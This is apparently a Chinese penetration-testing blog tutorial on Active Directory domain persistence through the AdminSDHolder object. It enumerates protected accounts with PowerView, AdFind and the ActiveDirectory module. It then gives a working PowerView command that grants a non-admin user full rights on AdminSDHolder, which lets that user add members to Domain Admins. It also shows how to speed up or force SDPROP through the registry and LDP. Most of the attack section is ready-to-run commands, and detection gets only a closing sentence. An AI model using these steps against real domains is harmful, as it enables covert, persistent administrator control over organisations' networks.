AdminSDHolder

AdminSDHolder是一个特殊的AD容器,通常作为某些特权组成员的对象的安全模板,每个AD域中都有一个AdminSDHolder对象,在域的System容器中,DN为:"CN=AdminSDHolder,CN=System,DC=domain,DC=com"

关于AdminSDHolder更多请查看微软手册:地址)

枚举受保护的AD账户和组中的信息

AdminSDHolderWindows 2000 Server的AD中引入,默认包含以下的组:

1
2
3
4
5
6
7
8
9
10
11
1. Administrators
2. Domain Admins
3. Account Operators
4. Backup Operators
5. Domain Controllers
6. Enterprise Admins
7. Print Operators
8. Replicator
9. Read-only Domain Controllers
10. Schema Admins
11. Server Operators

注:AdministratorsDomain AdminsEnterprise Admins组是对AdminSDHolder上的属性具有写权限的组。

受保护的AD账户和组的特征如下:AdminCount属性为1。

AdminCount属性为1并不能保证现在也是受保护的AD账户和组,因为从受保护的组中删除用户后,该用户帐户上的adminCount属性不会更改,也就是说值1保持不变。

powerview

我们可以用powerview枚举受保护AD的账户

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查找受AD保护的域中的所有用户

1
Get-NetUser -AdminCount

只筛选出用户名:

1
Get-NetUser -AdminCount |select samaccountname

查找域中受AD保护的所有组

1
Get-NetGroup -AdminCount

Adfind

下载地址:
http://www.joeware.net/freetools/tools/adfind/index.htm

查找受AD保护的域中的所有用户

1
Adfind.exe -b DC=domain,DC=com -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn

查找域中受AD保护的所有组

1
Adfind.exe -b DC=domain,DC=com -f "&(objectcategory=group)(admincount=1)" -dn

ActiveDirectory模块

Powershell模块,域控制器一般会安装

查找受AD保护的域中的所有用户

1
2
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name

查找域中受AD保护的所有组

1
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name

:如果域中没有安装ActiveDirectory模块,可以下载dll然后导入模块:下载地址

然后导入就行了

1
import-module .\Microsoft.ActiveDirectory.Management.dll

操作AdminSDHolder对象的ACL

查看

我们可以使用powerview查询AdminSDHolder对象的ACL

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

1
2
Import-Module .\PowerView.ps1
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference

添加

我们可以使用PowerView向AdminSDHolder对象添加ACL

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

添加用户qiyou对AdminSDHolder的完全访问权限

1
2
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName qiyou -Verbose -Rights All
image.png
image.png

添加之后查看一下

1
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference
image.png
image.png

注: 默认等待60分钟之后生效,具体原因我在下面SDPROP说明

删除

我们可以使用powerview删除AdminSDHolder中指定用户的ACL

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

1
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=qiyou,DC=com" -PrincipalIdentity qiyou -Rights All -Verbose
image.png
image.png

权限验证

powerview查看

1
2
Import-Module .\PowerView.ps1
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | select IdentityReference

image.png
image.png

域控上查看AdminSDHolder对象的ACL

image.png
image.png

可以看到用户qiyou虽然不在域管理员组,但是能够添加指定用户到域管理员组

image.png
image.png

SDPROP

为了将可继承ACE的更改传播到后代对象,域控制器运行一个称为安全描述符传播器(SDPROP)的后台任务。通过修改对象的安全描述符或移动对象时触发此任务。

修改SDPROP运行频率

上面我们讲到,当我们修改了AdminSDHolder的ACL之后默认等待60分钟以后生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记ACL。

我们可以通过注册表的方式来修改推送时间,将SDPROP的触发频率修改为1分钟一次:

注: 范围是最小1分钟,最大120分钟

1
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

注: 建议如果在实战环境不要尝试去修改,当你的修改的频率变高时,CPU处理LSASS的开销也就越大,这很容易导致系统变得卡顿,所以在你修改默认值之前要考虑清楚。

强制SDPROP运行

强制SDPROP运行需要手动初始化SDPROP线程,步骤如下:

  1. 运行->LDP.exe

  2. 然后选择菜单:连接->连接,服务器输入你当前的机器名,端口默认为389

  3. 然后绑定凭证,选择绑定为当前登录的用户,如果选择与凭据绑定需要输入用户名和密码

  4. 然后浏览->修改,在属性选项卡中输入FixUpInheritance。在值字段中输入Yes。操作选择添加,然后单击输入,最后运行即可,运行之后如下图所示

image.png
image.png

后记

AdminSDHolder在域渗透中可以说是一个重要的点。站在攻击者的角度,运用AdminSDHolder可以达到域权限维持的效果;站在防御者角度应该定时检测和清除AdminSDHolder中可疑的ACL

Reference

https://docs.microsoft.com/zh-cn/previous-versions/technet-magazine/ee361593(v=msdn.10))

https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AdminSDHolder/